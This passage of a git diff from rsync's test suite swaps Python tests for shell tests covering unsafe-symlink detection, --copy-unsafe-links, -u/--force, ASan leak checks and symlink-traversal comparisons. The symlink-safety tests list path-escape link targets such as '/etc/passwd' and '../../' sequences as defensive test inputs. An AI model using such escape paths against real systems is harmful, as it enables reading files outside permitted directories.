return a\n-strdup'd name (uidlist.c:120/137) whose pointer is never stored or freed.  Up\n-to two small strings leak per transfer.\n-\n-ASan/LSan reproducer: run an owner/group-preserving transfer (which sends the\n-uid+gid lists with the id-0 name) and assert no leak report names send_one_list.\n-Gated on an AddressSanitizer build.\n-\"\"\"\n-\n-import glob\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, RSYNC,\n-    require_asan, rmtree, rsync_argv, test_fail,\n-)\n-\n-require_asan(\"KI-25 id-0 name leak is only observable under AddressSanitizer/LSan\", RSYNC)\n-\n-src = FROMDIR\n-rmtree(src)\n-src.mkdir(parents=True)\n-(src / 'f.txt').write_text(\"hello\\n\")\n-\n-asan_log = SCRATCHDIR / 'id0-leak-asan'\n-for stale in glob.glob(f\"{asan_log}.*\"):\n-    os.unlink(stale)\n-os.environ['ASAN_OPTIONS'] = (\n-    f\"detect_leaks=1:abort_on_error=0:log_path={asan_log}\"\n-)\n-\n-# -o/-g make the sender transmit the uid+gid lists; a modern<->modern transfer\n-# negotiates xmit_id0_names, so send_one_list emits the id-0 name.  --list-only\n-# makes the client exit via exit() (so LSan runs) rather than the _exit() of the\n-# normal receiver/generator shutdown that would otherwise hide the leak.\n-p = subprocess.run(rsync_argv('-og', '--list-only', f'{src}/'),\n-                   capture_output=True, text=True)\n-\n-# Non-vacuity: the listing must have actually run (proving send_id_lists ->\n-# send_one_list executed).  We can't check the exit code: under detect_leaks=1\n-# rsync's intentional at-exit leaks already force a nonzero status.\n-if 'f.txt' not in p.stdout:\n-    test_fail(f\"--list-only did not list the source file; leak path not exercised:\\n{p.stdout}{p.stderr}\")\n-\n-reports = ''.join(open(r, errors='replace').read()\n-                  for r in glob.glob(f\"{asan_log}.*\"))\n-if 'send_one_list' in reports:\n-    test_fail(\"send_one_list leaked the id-0 name string (KI-25):\\n\"\n-              + reports[:1500])\n-\n-print(\"uidlist-id0-name-leak: send_one_list does not leak the id-0 name\")\ndiff --git a/testsuite/unsafe-byname.test b/testsuite/unsafe-byname.test\nnew file mode 100644\nindex 0000000..d2e318e\n--- /dev/null\n+++ b/testsuite/unsafe-byname.test\n@@ -0,0 +1,58 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2002 by Martin Pool\n+\n+# Call directly into unsafe_symlink and test its handling of various filenames\n+\n+. \"$suitedir/rsync.fns\"\n+\n+test_unsafe() {\n+    # $1 is the target of a symlink\n+    # $2 is the directory we're copying\n+    # $3 is the expected outcome: \"safe\" if the link lies within $2,\n+    # or \"unsafe\" otherwise\n+\n+    result=`\"$TOOLDIR/t_unsafe\" \"$1\" \"$2\"` || test_fail \"Failed to check $1 $2\"\n+    if [ \"$result\" != \"$3\" ]; then\n+        test_fail \"t_unsafe $1 $2 returned \\\"$result\\\", expected \\\"$3\\\"\"\n+    fi\n+}\n+\n+test_unsafe file\t\t\tfrom\t\t\t\tsafe\n+test_unsafe dir/file\t\t\tfrom\t\t\t\tsafe\n+test_unsafe dir/./file\t\t\tfrom\t\t\t\tsafe\n+test_unsafe dir/.\t\t\tfrom\t\t\t\tsafe\n+test_unsafe dir/\t\t\tfrom\t\t\t\tsafe\n+\n+test_unsafe /etc/passwd \t\tfrom\t\t\t\tunsafe\n+test_unsafe //../etc/passwd\t\tfrom\t\t\t\tunsafe\n+test_unsafe //./etc/passwd\t\tfrom\t\t\t\tunsafe\n+\n+test_unsafe ./foo\t\t\tfrom\t\t\t\tsafe\n+test_unsafe ../foo\t\t\tfrom\t\t\t\tunsafe\n+test_unsafe ./../foo\t\t\tfrom\t\t\t\tunsafe\n+test_unsafe .//../foo\t\t\tfrom\t\t\t\tunsafe\n+test_unsafe ./../foo\t\t\tfrom/..\t\t\t\tunsafe\n+test_unsafe ../dest\t\t\tfrom/dir\t\t\tsafe\n+test_unsafe ../../dest\t\t\tfrom//dir\t\t\tunsafe\n+test_unsafe ..//../dest \t\tfrom/dir\t\t\tunsafe\n+\n+test_unsafe ..\t\t\t\tfrom/file\t\t\tsafe\n+test_unsafe ../..\t\t\tfrom/file\t\t\tunsafe\n+test_unsafe ..//..\t\t\tfrom//file\t\t\tunsafe\n+test_unsafe dir/..\t\t\tfrom\t\t\t\tunsafe\n+test_unsafe dir/../..\t\t\tfrom\t\t\t\tunsafe\n+test_unsafe dir/..//..\t\t\tfrom\t\t\t\tunsafe\n+\n+test_unsafe ''\t\t\t\tfrom\t\t\t\tunsafe\n+\n+# Based on tests from unsafe-links by Vladimír Michl\n+test_unsafe ../../unsafe/unsafefile\tfrom/safe\t\t\tunsafe\n+test_unsafe ..//../unsafe/unsafefile\tfrom/safe\t\t\tunsafe\n+test_unsafe ../files/file1\t\tfrom/safe\t\t\tsafe\n+\n+test_unsafe ../../unsafe/unsafefile\tsafe\t\t\t\tunsafe\n+test_unsafe ../files/file1\t\tsafe\t\t\t\tunsafe\n+\n+test_unsafe ../../unsafe/unsafefile\t`pwd`/from/safe\t\t\tsafe\n+test_unsafe ../files/file1\t\t`pwd`/from/safe\t\t\tsafe\ndiff --git a/testsuite/unsafe-byname_test.py b/testsuite/unsafe-byname_test.py\ndeleted file mode 100644\nindex bd4eeec..0000000\n--- a/testsuite/unsafe-byname_test.py\n+++ /dev/null\n@@ -1,77 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/unsafe-byname.test.\n-#\n-# Call directly into the t_unsafe helper (which wraps unsafe_symlink()) and\n-# verify its judgement on a battery of crafted target/curdir pairs.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import TOOLDIR, test_fail\n-\n-\n-t_unsafe = str(TOOLDIR / 't_unsafe')\n-\n-# `pwd` in the shell version is the cwd of the test process — the runner\n-# starts each test in TOOLDIR. os.getcwd() reproduces that exactly.\n-pwd = os.getcwd()\n-\n-# (link_target, curdir, expected) — expected is \"safe\" or \"unsafe\".\n-CASES = [\n-    ('file', 'from', 'safe'),\n-    ('dir/file', 'from', 'safe'),\n-    ('dir/./file', 'from', 'safe'),\n-    ('dir/.', 'from', 'safe'),\n-    ('dir/', 'from', 'safe'),\n-\n-    ('/etc/passwd', 'from', 'unsafe'),\n-    ('//../etc/passwd', 'from', 'unsafe'),\n-    ('//./etc/passwd', 'from', 'unsafe'),\n-\n-    ('./foo', 'from', 'safe'),\n-    ('../foo', 'from', 'unsafe'),\n-    ('./../foo', 'from', 'unsafe'),\n-    ('.//../foo', 'from', 'unsafe'),\n-    ('./../foo', 'from/..', 'unsafe'),\n-    ('../dest', 'from/dir', 'safe'),\n-    ('../../dest', 'from//dir', 'unsafe'),\n-    ('..//../dest', 'from/dir', 'unsafe'),\n-\n-    ('..', 'from/file', 'safe'),\n-    ('../..', 'from/file', 'unsafe'),\n-    ('..//..', 'from//file', 'unsafe'),\n-    ('dir/..', 'from', 'unsafe'),\n-    ('dir/../..', 'from', 'unsafe'),\n-    ('dir/..//..', 'from', 'unsafe'),\n-\n-    ('', 'from', 'unsafe'),\n-\n-    # Based on tests from unsafe-links by Vladimir Michl.\n-    ('../../unsafe/unsafefile', 'from/safe', 'unsafe'),\n-    ('..//../unsafe/unsafefile', 'from/safe', 'unsafe'),\n-    ('../files/file1', 'from/safe', 'safe'),\n-\n-    ('../../unsafe/unsafefile', 'safe', 'unsafe'),\n-    ('../files/file1', 'safe', 'unsafe'),\n-\n-    ('../../unsafe/unsafefile', f'{pwd}/from/safe', 'safe'),\n-    ('../files/file1', f'{pwd}/from/safe', 'safe'),\n-]\n-\n-\n-failures = []\n-for target, curdir, expected in CASES:\n-    proc = subprocess.run(\n-        [t_unsafe, target, curdir],\n-        capture_output=True, text=True,\n-    )\n-    if proc.returncode != 0:\n-        test_fail(f\"Failed to check {target!r} {curdir!r}: exit {proc.returncode}\")\n-    got = proc.stdout.strip()\n-    if got != expected:\n-        failures.append(\n-            f\"t_unsafe {target!r} {curdir!r} returned {got!r}, expected {expected!r}\"\n-        )\n-\n-if failures:\n-    test_fail(\"\\n\".join(failures))\ndiff --git a/testsuite/unsafe-links.test b/testsuite/unsafe-links.test\nnew file mode 100644\nindex 0000000..2d209eb\n--- /dev/null\n+++ b/testsuite/unsafe-links.test\n@@ -0,0 +1,65 @@\n+#!/bin/sh\n+\n+# Originally by Vladimír Michl <Vladimir.Michl@hlubocky.del.cz>\n+\n+. \"$suitedir/rsync.fns\"\n+\n+test_symlink() {\n+\tis_a_link \"$1\" || test_fail \"File $1 is not a symlink\"\n+}\n+\n+test_regular() {\n+\tif [ ! -f \"$1\" ]; then\n+\t\ttest_fail \"File $1 is not regular file or not exists\"\n+\tfi\n+}\n+\n+cd \"$tmpdir\"\n+\n+mkdir from\n+\n+mkdir \"from/safe\"\n+mkdir \"from/unsafe\"\n+\n+mkdir \"from/safe/files\"\n+mkdir \"from/safe/links\"\n+\n+touch \"from/safe/files/file1\"\n+touch \"from/safe/files/file2\"\n+touch \"from/unsafe/unsafefile\"\n+\n+ln -s ../files/file1 \"from/safe/links/\"\n+ln -s ../files/file2 \"from/safe/links/\"\n+ln -s ../../unsafe/unsafefile \"from/safe/links/\"\n+\n+echo \"rsync with relative path and just -a\"\n+$RSYNC -avv from/safe/ to\n+test_symlink to/links/file1\n+test_symlink to/links/file2\n+test_symlink to/links/unsafefile\n+\n+echo \"rsync with relative path and -a --copy-links\"\n+$RSYNC -avv --copy-links from/safe/ to\n+test_regular to/links/file1\n+test_regular to/links/file2\n+test_regular to/links/unsafefile\n+\n+echo \"rsync with relative path and --copy-unsafe-links\"\n+$RSYNC -avv --copy-unsafe-links from/safe/ to\n+test_symlink to/links/file1\n+test_symlink to/links/file2\n+test_regular to/links/unsafefile\n+\n+rm -rf to\n+echo \"rsync with relative2 path\"\n+(cd from; $RSYNC -avv --copy-unsafe-links safe/ ../to)\n+test_symlink to/links/file1\n+test_symlink to/links/file2\n+test_regular to/links/unsafefile\n+\n+rm -rf to\n+echo \"rsync with absolute path\"\n+$RSYNC -avv --copy-unsafe-links `pwd`/from/safe/ to\n+test_symlink to/links/file1\n+test_symlink to/links/file2\n+test_regular to/links/unsafefile\ndiff --git a/testsuite/unsafe-links_test.py b/testsuite/unsafe-links_test.py\ndeleted file mode 100644\nindex 311982f..0000000\n--- a/testsuite/unsafe-links_test.py\n+++ /dev/null\n@@ -1,82 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/unsafe-links.test.\n-#\n-# Verifies the three relevant policies for \"unsafe\" (escape-the-tree) symlinks:\n-#   * default -a copies them as symlinks (no special handling),\n-#   * --copy-links materialises ALL symlinks as files,\n-#   * --copy-unsafe-links materialises only the unsafe ones, leaving safe\n-#     in-tree symlinks as symlinks.\n-\n-import os\n-\n-from rsyncfns import TMPDIR, is_a_link, rmtree, run_rsync, test_fail\n-\n-\n-def assert_symlink(path, target):\n-    if not is_a_link(path):\n-        test_fail(f\"File {path} is not a symlink\")\n-    actual = os.readlink(path)\n-    if actual != target:\n-        test_fail(f\"symlink {path} target is {actual!r}, expected {target!r}\")\n-\n-\n-def assert_regular(path):\n-    if not os.path.isfile(path):\n-        test_fail(f\"File {path} is not regular file or not exists\")\n-\n-\n-os.chdir(TMPDIR)\n-\n-os.mkdir(\"from\")\n-os.mkdir(\"from/safe\")\n-os.mkdir(\"from/unsafe\")\n-os.mkdir(\"from/safe/files\")\n-os.mkdir(\"from/safe/links\")\n-\n-open(\"from/safe/files/file1\", \"w\").close()\n-open(\"from/safe/files/file2\", \"w\").close()\n-open(\"from/unsafe/unsafefile\", \"w\").close()\n-\n-os.symlink(\"../files/file1\", \"from/safe/links/file1\")\n-os.symlink(\"../files/file2\", \"from/safe/links/file2\")\n-os.symlink(\"../../unsafe/unsafefile\", \"from/safe/links/unsafefile\")\n-\n-\n-print(\"rsync with relative path and just -a\")\n-run_rsync('-avv', 'from/safe/', 'to')\n-assert_symlink(\"to/links/file1\", \"../files/file1\")\n-assert_symlink(\"to/links/file2\", \"../files/file2\")\n-assert_symlink(\"to/links/unsafefile\", \"../../unsafe/unsafefile\")\n-\n-print(\"rsync with relative path and -a --copy-links\")\n-run_rsync('-avv', '--copy-links', 'from/safe/', 'to')\n-assert_regular(\"to/links/file1\")\n-assert_regular(\"to/links/file2\")\n-assert_regular(\"to/links/unsafefile\")\n-\n-print(\"rsync with relative path and --copy-unsafe-links\")\n-run_rsync('-avv', '--copy-unsafe-links', 'from/safe/', 'to')\n-assert_symlink(\"to/links/file1\", \"../files/file1\")\n-assert_symlink(\"to/links/file2\", \"../files/file2\")\n-assert_regular(\"to/links/unsafefile\")\n-\n-rmtree(\"to\")\n-print(\"rsync with relative2 path\")\n-# Mirror the shell `(cd from; rsync ... safe/ ../to)` subshell — chdir, rsync,\n-# then chdir back so the final block uses an absolute source again.\n-saved = os.getcwd()\n-os.chdir(\"from\")\n-try:\n-    run_rsync('-avv', '--copy-unsafe-links', 'safe/', '../to')\n-finally:\n-    os.chdir(saved)\n-assert_symlink(\"to/links/file1\", \"../files/file1\")\n-assert_symlink(\"to/links/file2\", \"../files/file2\")\n-assert_regular(\"to/links/unsafefile\")\n-\n-rmtree(\"to\")\n-print(\"rsync with absolute path\")\n-run_rsync('-avv', '--copy-unsafe-links', f'{os.getcwd()}/from/safe/', 'to')\n-assert_symlink(\"to/links/file1\", \"../files/file1\")\n-assert_symlink(\"to/links/file2\", \"../files/file2\")\n-assert_regular(\"to/links/unsafefile\")\ndiff --git a/testsuite/update_test.py b/testsuite/update_test.py\ndeleted file mode 100644\nindex 2be222a..0000000\n--- a/testsuite/update_test.py\n+++ /dev/null\n@@ -1,78 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of -u (--update) and --force at depth.\n-\n--u skips any destination file that is newer than the source. --force lets rsync\n-delete a non-empty destination directory when it must be replaced by a\n-non-directory. Both decide a per-entry action on a name whose parent chain the\n-resolver restructure rewrites, so check them several levels deep.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_same, make_tree, makepath, rmtree, run_rsync, test_fail,\n-)\n-\n-src = FROMDIR\n-deep = os.path.join('d1', 'd2', 'd3', 'f3')\n-\n-\n-# --- -u keeps a newer destination file, updates an older one ----------------\n-rmtree(src)\n-rmtree(TODIR)\n-make_tree(src, depth=3)\n-run_rsync('-a', f'{src}/', f'{TODIR}/')\n-\n-# Make the deep source newer in content, but the DEST copy newer in time.\n-(src / deep).write_text(\"new source content\\n\")\n-keep = \"destination is newer - keep me\\n\"\n-(TODIR / deep).write_text(keep)\n-st = os.stat(src / deep)\n-os.utime(TODIR / deep, (st.st_atime, st.st_mtime + 100))   # dest mtime newer\n-\n-run_rsync('-a', '-u', f'{src}/', f'{TODIR}/')\n-if (TODIR / deep).read_text() != keep:\n-    test_fail(\"-u overwrote a destination file that was newer than the source\")\n-\n-# An older destination file IS updated under -u.\n-os.utime(TODIR / deep, (st.st_atime, st.st_mtime - 100))    # dest mtime older\n-run_rsync('-a', '-u', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='-u updated an older dest file')\n-\n-# A newer destination symlink is still replaced by a source regular file\n-# because a file-format difference is always important enough to update.\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src, TODIR)\n-(src / 'foo').write_text(\"regular source file\\n\")\n-os.symlink('/should/not/exist', TODIR / 'foo')\n-st = os.stat(src / 'foo')\n-os.utime(TODIR / 'foo', (st.st_atime, st.st_mtime + 100),\n-         follow_symlinks=False)\n-run_rsync('-a', '-u', f'{src}/', f'{TODIR}/')\n-if os.path.islink(TODIR / 'foo'):\n-    test_fail(\"-u skipped a source file over a newer destination symlink\")\n-assert_same(TODIR / 'foo', src / 'foo',\n-            label='-u replaced a newer dest symlink with a regular file')\n-\n-# --- --force replaces a non-empty dest directory with a file at depth -------\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src / 'd1' / 'd2' / 'd3')\n-(src / deep).write_text(\"now a regular file\\n\")        # src: d1/d2/d3/f3 = file\n-makepath(TODIR / 'd1' / 'd2' / 'd3' / 'f3')             # dest: f3 = non-empty dir\n-(TODIR / 'd1' / 'd2' / 'd3' / 'f3' / 'occupant').write_text(\"blocker\\n\")\n-\n-# Without --force the non-empty directory can't be replaced.\n-proc = run_rsync('-a', f'{src}/', f'{TODIR}/', check=False)\n-if proc.returncode == 0 and (TODIR / deep).is_file():\n-    test_fail(\"a non-empty directory was replaced by a file without --force\")\n-\n-# With --force the directory is removed and the file takes its place.\n-run_rsync('-a', '--force', f'{src}/', f'{TODIR}/')\n-if not (TODIR / deep).is_file():\n-    test_fail(\"--force did not replace the directory with the file at depth\")\n-assert_same(TODIR / deep, src / deep, label='--force replacement content')\n-\n-print(\"update: -u keeps newer dest / updates older; --force replaces a dir at depth\")\ndiff --git a/testsuite/valgrind.supp b/testsuite/valgrind.supp\ndeleted file mode 100644\nindex ddaefd0..0000000\n--- a/testsuite/valgrind.supp\n+++ /dev/null\n@@ -1,48 +0,0 @@\n-# Valgrind suppressions for the rsync test suite.\n-#\n-# Every stanza here is a known-benign report, not a defect in rsync's own\n-# logic.  They are suppressed so that a --valgrind run fails only on a *real*\n-# error.  Pass to valgrind with --suppressions=testsuite/valgrind.supp\n-# (runtests.py --valgrind does this automatically).\n-#\n-# The valgrind CI gate runs with --leak-check=no and so checks memory *errors*\n-# only: rsync intentionally leaves file-list/socket/option memory unfreed at\n-# exit, which makes a full leak check inherently noisy.  The two Memcheck:Leak\n-# stanzas below therefore only matter for a manual leak audit (--leak-check=\n-# full); they cover the two leaks that are not rsync's own at-exit slack.\n-\n-# popt alias strings are strdup'd while parsing arguments and only reclaimed\n-# at process exit.  One-time, bounded, unreachable-at-exit; bundled popt.\n-{\n-   rsync-popt-alias-leak\n-   Memcheck:Leak\n-   match-leak-kinds: definite\n-   fun:malloc\n-   fun:my_alloc\n-   fun:my_strdup\n-   fun:popt_unalias\n-   fun:parse_arguments\n-   fun:main\n-}\n-\n-# libxxhash returns an internally-aligned XXH3 state whose pointer is offset\n-# from the malloc base, so valgrind sees only an interior pointer and reports\n-# the one-time checksum state as \"possibly lost\".  Alignment artifact.\n-{\n-   xxhash-createstate-aligned\n-   Memcheck:Leak\n-   match-leak-kinds: possible\n-   fun:malloc\n-   fun:XXH3_createState\n-}\n-\n-# libfakeroot's own SysV message padding in send_fakem(); the uninitialised\n-# bytes are inside libfakeroot's mtext buffer, not rsync memory.\n-{\n-   fakeroot-msgsnd-padding\n-   Memcheck:Param\n-   msgsnd(msgp->mtext)\n-   fun:msgsnd\n-   ...\n-   obj:*libfakeroot*\n-}\ndiff --git a/testsuite/variety-symlink-traversal_test.py b/testsuite/variety-symlink-traversal_test.py\ndeleted file mode 100644\nindex 9d37b3d..0000000\n--- a/testsuite/variety-symlink-traversal_test.py\n+++ /dev/null\n@@ -1,174 +0,0 @@\n-#!/usr/bin/env python3\n-# Companion to variety_test.py for the cases the user specifically called out:\n-# the rsync CLIENT is started with a path that TRAVERSES a symlinked directory\n-# component -- as sender (the source path) and as receiver (the destination\n-# path), both as a trailing-slash symlink transfer-root and as an intermediate\n-# path component, with and without --keep-dirlinks.\n-#\n-# Empirically the current build (with its hardened per-component O_NOFOLLOW path\n-# resolver from the CVE-2026-29518 work) reproduces 3.2.7's result on all of\n-# these STATIC traversal patterns: a pre-existing symlinked directory component\n-# is followed by both, identically. The hardening only changes behaviour in the\n-# TOCTOU race scenario (a component swapped to a symlink mid-transfer), which is\n-# covered by the suite's dedicated symlink-race tests, not here. So this is a\n-# pass test: any future divergence on a legitimate traversal pattern is a\n-# regression (or an intended change to record as xfail in the peer manifest).\n-#\n-# Compares new-client vs old-client for each flavour and fails on any\n-# divergence (different exit code or different resulting tree).\n-\n-import os\n-import shlex\n-import subprocess\n-import sys\n-\n-from rsyncfns import (\n-    RSYNC, RSYNC_PEER, SRCDIR, SCRATCHDIR,\n-    make_variety_tree, compare_trees, rmtree,\n-    xattrs_supported, acls_supported, devices_supported, owners_supported,\n-    test_skipped, test_fail, split_rsync_cmd, rsh_cmd,\n-)\n-\n-SSH = rsh_cmd()\n-WITH_X = xattrs_supported()\n-WITH_A = acls_supported()\n-\n-os.chdir(SCRATCHDIR)\n-\n-# A modest variety tree as the real source (depth 3 keeps it quick; symlink/perm\n-# coverage still present).\n-SRC = SCRATCHDIR / 'trav-src'\n-info = make_variety_tree(SRC, depth=3, with_acls=WITH_A, with_xattrs=WITH_X,\n-                         with_devices=devices_supported(),\n-                         with_owners=owners_supported())\n-TR = info['transfer_root']\n-\n-WS = SCRATCHDIR / 'trav'\n-rmtree(WS)\n-WS.mkdir()\n-\n-findings = []   # (case, description)\n-\n-\n-def run2(binary_cmd, args):\n-    \"\"\"Run rsync without failing on nonzero (old and new may legitimately\n-    differ in success). Returns (returncode, combined_output).\"\"\"\n-    proc = subprocess.run(shlex.split(binary_cmd) + args,\n-                          capture_output=True, text=True)\n-    return proc.returncode, proc.stdout + proc.stderr\n-\n-\n-def diff_trees(a, b, label):\n-    return compare_trees(a, b, label, with_acls=WITH_A,\n-                         with_xattrs=WITH_X)\n-\n-\n-def observe(case, new_dest, old_dest, rc_new, rc_old, out_new, out_old):\n-    notes = []\n-    if rc_new != rc_old:\n-        notes.append(f\"exit codes differ: new={rc_new} old={rc_old}\")\n-    # With --relative the dest CONTAINER dir is not a copy of any source dir, so\n-    # rsync leaves its mtime at \"now\" (not preserved by either version); the new\n-    # and old runs stamp it at slightly different instants, which would flake the\n-    # listing across a 1-second boundary. It is not meaningful content, so pin\n-    # both compared roots to a common mtime before diffing.\n-    for d in (new_dest, old_dest):\n-        try:\n-            os.utime(d, (1000000000, 1000000000))\n-        except OSError:\n-            pass\n-    tdiffs = diff_trees(new_dest, old_dest, case)\n-    if tdiffs:\n-        notes.append(\"result trees differ:\\n\" + \"\\n\".join(tdiffs[:8]))\n-    if notes:\n-        findings.append((case, \"\\n\".join(notes)))\n-\n-\n-# --- Case A: sender transfer-root IS a symlink to a directory (trailing slash) ---\n-def case_sender_root():\n-    os.symlink(str(TR), WS / 'linkdir')\n-    out = {}\n-    for role, binc in (('new', RSYNC), ('old', RSYNC_PEER)):\n-        d = WS / f'A-{role}'\n-        rmtree(d); d.mkdir()\n-        rc, o = run2(binc, ['-a', f'{WS}/linkdir/', f'{d}/'])\n-        out[role] = (d, rc, o)\n-    observe('A-sender-root-symlink',\n-            out['new'][0], out['old'][0],\n-            out['new'][1], out['old'][1], out['new'][2], out['old'][2])\n-\n-\n-# --- Case B: sender path has an INTERMEDIATE symlinked component ---\n-def case_sender_intermediate():\n-    base = WS / 'B-base'\n-    (base / 'realcomp' / 'inner').mkdir(parents=True)\n-    # copy a couple of real files under inner\n-    (base / 'realcomp' / 'inner' / 'file1').write_text('hello-1\\n')\n-    (base / 'realcomp' / 'inner' / 'file2').write_text('hello-2\\n')\n-    os.symlink('realcomp', base / 'linkcomp')\n-    for relflag in ([], ['-R']):       # plain and --relative (implied dirs)\n-        tag = 'B-sender-intermediate' + ('-R' if relflag else '')\n-        out = {}\n-        for role, binc in (('new', RSYNC), ('old', RSYNC_PEER)):\n-            d = WS / f'{tag}-{role}'\n-            rmtree(d); d.mkdir()\n-            rc, o = run2(binc, ['-a'] + relflag\n-                         + [f'{base}/linkcomp/inner/', f'{d}/'])\n-            out[role] = (d, rc, o)\n-        observe(tag, out['new'][0], out['old'][0],\n-                out['new'][1], out['old'][1], out['new'][2], out['old'][2])\n-\n-\n-# --- Case C: receiver destination IS a symlink to a directory ---\n-def case_receiver_root():\n-    out = {}\n-    for role, binc in (('new', RSYNC), ('old', RSYNC_PEER)):\n-        real = WS / f'C-real-{role}'\n-        real.mkdir()\n-        link = WS / f'C-link-{role}'\n-        os.symlink(str(real), link)\n-        rc, o = run2(binc, ['-a', '--keep-dirlinks', f'{TR}/', f'{link}/'])\n-        out[role] = (real, rc, o)\n-    observe('C-receiver-root-symlink', out['new'][0], out['old'][0],\n-            out['new'][1], out['old'][1], out['new'][2], out['old'][2])\n-\n-\n-# --- Case D: receiver path has an INTERMEDIATE symlinked component, with and\n-#     without --keep-dirlinks (the pointed \"create through a symlinked dest\n-#     component\" case) ---\n-def case_receiver_intermediate():\n-    for kdl in ([], ['--keep-dirlinks']):\n-        tag = 'D-receiver-intermediate' + ('-kdl' if kdl else '')\n-        out = {}\n-        for role, binc in (('new', RSYNC), ('old', RSYNC_PEER)):\n-            base = WS / f'{tag}-base-{role}'\n-            (base / 'realcomp').mkdir(parents=True)\n-            os.symlink('realcomp', base / 'linkcomp')\n-            rc, o = run2(binc, ['-a'] + kdl\n-                         + [f'{TR}/', f'{base}/linkcomp/inner/'])\n-            landing = base / 'realcomp' / 'inner'\n-            if not landing.exists():\n-                landing.mkdir(parents=True, exist_ok=True)\n-            out[role] = (landing, rc, o)\n-        observe(tag, out['new'][0], out['old'][0],\n-                out['new'][1], out['old'][1], out['new'][2], out['old'][2])\n-\n-\n-if split_rsync_cmd(RSYNC) == split_rsync_cmd(RSYNC_PEER):\n-    test_skipped(\"no old peer selected (RSYNC_PEER == RSYNC); nothing to \"\n-                 \"compare for symlink-traversal divergence\")\n-\n-case_sender_root()\n-case_sender_intermediate()\n-case_receiver_root()\n-case_receiver_intermediate()\n-\n-if findings:\n-    msg = [f\"variety-symlink-traversal: {len(findings)} traversal case(s) \"\n-           f\"diverge between current and peer={RSYNC_PEER!r}:\"]\n-    for case, desc in findings:\n-        msg.append(f\"\\n========== {case} ==========\")\n-        msg.append(desc)\n-    test_fail(\"\\n\".join(msg))\n-\n-print(\"variety-symlink-traversal: current and peer agree on all traversal cases\")\ndiff --git a/testsuite/variety_test.py b/testsuite/variety_test.py\ndeleted file mode 100644\nindex dfea53a..0000000\n--- a/testsuite/variety_test.py\n+++ /dev/null\n@@ -1,237 +0,0 @@\n-#!/usr/bin/env python3\n-# Differential regression test: introducing the current rsync on EITHER side of\n-# a transfer must not change the destination tree that an all-old (e.g. 3.2.7)\n-# transfer would produce, for a \"variety tree\" exercising every inode type rsync\n-# handles -- directories, regular files, symlinks (heavy coverage: to each type,\n-# escaping ../.. links, absolute links, links transiting outside the tree),\n-# fifos, sockets, char/block devices -- with varied permissions, xattrs, ACLs,\n-# hard links and (as root) mixed ownership. See make_variety_tree.\n-#\n-# Peer-agnostic: RSYNC is the current binary, RSYNC_PEER the --rsync-bin2 peer.\n-# With no peer (RSYNC_PEER == RSYNC) it degrades to a self-consistency check.\n-# Enabled first for the 3.2.7 peer via testsuite/expect/rsync_3.2.7.expect.\n-#\n-# ORACLE: for each (transport, direction, option-profile) the ALL-OLD pairing is\n-# the reference (\"what 3.2.7 does\"); the new->old, old->new and new->new pairings\n-# must all reproduce it byte-for-byte (tls listing + contents + xattrs + ACLs +\n-# hard-link grouping). A per-scenario reference is essential because some\n-# transports legitimately transform the tree (a daemon receiver sanitizes\n-# absolute/escaping symlinks) -- that transform is version-independent, so it\n-# must be compared against the same transport, not against a local copy.\n-#\n-# The symlinked-PATH-COMPONENT traversal cases (where the current build's\n-# hardened resolver intentionally diverges from 3.2.7) live in the separate\n-# variety-symlink-traversal_test.py so they can be xfailed without masking this.\n-\n-import os\n-import re\n-import shlex\n-import subprocess\n-import sys\n-\n-from rsyncfns import (\n-    RSYNC, RSYNC_PEER, SRCDIR, SCRATCHDIR, USE_TCP,\n-    make_variety_tree, compare_trees, rmtree,\n-    xattrs_supported, acls_supported, devices_supported, owners_supported,\n-    write_daemon_conf, start_test_daemon,\n-    test_fail, split_rsync_cmd, rsh_cmd,\n-)\n-\n-SSH = rsh_cmd()\n-DAEMON_PORT_OLD = 12931\n-DAEMON_PORT_NEW = 12932\n-\n-def _peer_has(feature):\n-    \"\"\"True if the peer binary advertises `feature` ('xattrs'/'ACLs') in -VV.\n-    Pre-3.2.0 peers have no -VV, so this is False -- we then skip -X/-A for\n-    them, which is correct (we can't compare a feature one side can't carry).\"\"\"\n-    try:\n-        vv = subprocess.run(split_rsync_cmd(RSYNC_PEER) + ['-VV'],\n-                            capture_output=True, text=True)\n-        return f'\"{feature}\": true' in vv.stdout\n-    except OSError:\n-        return False\n-\n-\n-def _forced_proto(cmd):\n-    \"\"\"The --protocol=N pinned on a binary's command string, else None (used by\n-    the fleet's check29/check30 passes).\"\"\"\n-    m = re.search(r'--protocol[ =](\\d+)', cmd)\n-    return int(m.group(1)) if m else None\n-\n-\n-# ACLs and xattrs require protocol 30+; a forced --protocol=29 (the fleet's\n-# check29 pass) negotiates 29 and rsync aborts on -A/-X, so drop them then.\n-_pinned = [p for p in (_forced_proto(RSYNC), _forced_proto(RSYNC_PEER)) if p]\n-_AX_PROTO_OK = not _pinned or min(_pinned) >= 30\n-\n-# Use a feature only when BOTH the current binary and the peer support it (and\n-# the negotiated protocol can carry it).\n-WITH_X = xattrs_supported() and _peer_has('xattrs') and _AX_PROTO_OK\n-WITH_A = acls_supported() and _peer_has('ACLs') and _AX_PROTO_OK\n-WITH_DEV = devices_supported()\n-WITH_OWN = owners_supported()\n-\n-# Daemon/remote paths resolve against HOME (-> scratch dir); cd there.\n-os.chdir(SCRATCHDIR)\n-\n-# One read-only source for the whole run, so every case compares copies of the\n-# exact same bytes. We transfer transfer_root/; the escape/ links point up into\n-# the (untransferred) above/ siblings, so on the dest they are copied as link\n-# strings -- identical for both binaries.\n-SRC = SCRATCHDIR / 'variety-src'\n-info = make_variety_tree(SRC, with_acls=WITH_A, with_xattrs=WITH_X,\n-                         with_devices=WITH_DEV, with_owners=WITH_OWN)\n-TR = info['transfer_root']\n-SRC_SLASH = f'{TR}/'\n-print(f\"variety source: {sum(info['counts'].values())} entries \"\n-      f\"{info['counts']} (xattrs={WITH_X} acls={WITH_A} devices={WITH_DEV} \"\n-      